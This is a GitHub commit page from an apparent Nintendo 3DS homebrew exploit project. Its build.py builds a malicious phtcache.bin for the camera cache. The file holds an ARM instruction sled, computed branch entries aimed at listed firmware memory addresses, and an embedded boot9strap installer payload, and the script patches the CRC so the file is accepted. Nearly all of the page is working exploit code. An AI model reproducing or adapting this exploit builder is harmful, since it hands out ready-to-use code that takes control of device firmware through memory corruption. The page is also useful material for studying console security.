Skip to content

Commit c2311f2

Browse files
committed
Lenny moves to phtcache
We going offline, baby. Trigger filename now determines the jump address to stage1 in fcram.
1 parent 4150eeb commit c2311f2

File tree

5 files changed

+90
-50
lines changed

5 files changed

+90
-50
lines changed

254DEFE0.txt

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
Dear ARM9,
2+
3+
Please read this and become haxed.
4+
5+
Sincerely,
6+
Mr. Zoogie & ( ͡° ͜ʖ ͡°)
7+
:)

F00D400ARM9.txt

Lines changed: 0 additions & 10 deletions
This file was deleted.

build.py

Lines changed: 83 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,85 @@
1-
import os,sys,struct
2-
size=0xfbe00
3-
data=[]
4-
jump=0xea000000+(size//4)
5-
movR6PC=0xe1a0600f
6-
for i in range(0, size, 4):
7-
data.append(struct.pack("<I", jump))
8-
jump-=1
9-
data=b''.join(data)
10-
data+=struct.pack("<I", movR6PC)*8
1+
import os,sys,struct,random
2+
3+
'''
4+
254a0ee0 bottom screen
5+
254AEFE0 top screen old 11.17 us/eu/jp e0 ef 54 02
6+
2550fbe0 both screens
7+
8+
2908efe0 new 11.17
9+
10+
2dbf0000 new heap
11+
fffb541c FFFFFFFF0004ABE4
12+
fffb5388 FFFFFFFF0004AC78
13+
'''
14+
15+
OFFSET=0xfffc
16+
IS_SD=0x0001
17+
18+
ACTUAL_ENTRIES=3000
19+
USED_PIC_COUNT1=0x0000 #pictures + 1
20+
UNKNOWN1=0x0000
21+
USED_PIC_COUNT2=0x0000 #seems to matter
22+
MASTER_TOTAL=3000 #essential
23+
FOLDERNUM=0x0000
24+
25+
pad=b"\x00"
26+
offset=OFFSET-0x18
27+
entries=ACTUAL_ENTRIES
28+
29+
if ACTUAL_ENTRIES > 3000:
30+
entries=3000
31+
32+
header_area=b""
33+
for i in range(0,offset,4):
34+
header_area+=struct.pack("<I",0xe1a0600f)
35+
1136
with open("mini_b9s_installer/mini_b9s_installer.bin","rb") as f:
12-
b9s=f.read()+(b"\x00"*0x1000)
13-
data+=b9s
14-
temp=b"var i=0/*aaa" + data + b"*/var x=2"
37+
mini=f.read()
38+
39+
DATA=b""
40+
branch=0xeafffffe #branch backward into header area where payload resides
41+
branch-=(OFFSET//4)
42+
for i in range(ACTUAL_ENTRIES):
43+
DATA+=(0x94*pad)+struct.pack("<I", branch)
44+
branch-=(0x98//4)
45+
46+
magic=b"1UJQ00_1" #0TIP00_1
47+
48+
template=magic+struct.pack("<HHHHHHI",USED_PIC_COUNT1,UNKNOWN1,MASTER_TOTAL,IS_SD,FOLDERNUM,USED_PIC_COUNT2,0x18FBD2)+(header_area)+(pad*(entries*0x98))
49+
50+
def crc16(data):
51+
''' CRC-16-STANDARD (arc) Algorithm '''
52+
data = bytearray(data)
53+
poly=0xa001
54+
crc = 0x0000
55+
for b in data:
56+
cur_byte = 0xFF & b
57+
for _ in range(0, 8):
58+
if (crc & 0x0001) ^ (cur_byte & 0x0001):
59+
crc = (crc >> 1) ^ poly
60+
else:
61+
crc >>= 1
62+
cur_byte >>= 1
63+
64+
return crc & 0xFFFF
65+
66+
def patch(data, off, handle):
67+
handle.seek(off)
68+
handle.write(data)
69+
70+
with open("phtcache.bin","wb+") as f:
71+
print("Patching phtcache.bin...")
72+
f.write(template)
73+
patch(DATA, OFFSET, f)
74+
patch(mini, 0x100, f)
75+
f.seek(0x14)
76+
f.write(b"\x00\x00")
77+
f.seek(0x16)
78+
f.write(struct.pack("<H",OFFSET))
79+
f.seek(0)
80+
data=f.read()
81+
crc=crc16(data)
82+
f.seek(0x14)
83+
f.write(struct.pack("<H",crc))
1584

16-
with open("lenny.js","wb") as f:
17-
f.write(temp)
85+
print("done")

index.html

Lines changed: 0 additions & 25 deletions
This file was deleted.

lenny.js

-1 MB
Binary file not shown.

0 commit comments

Comments
 (0)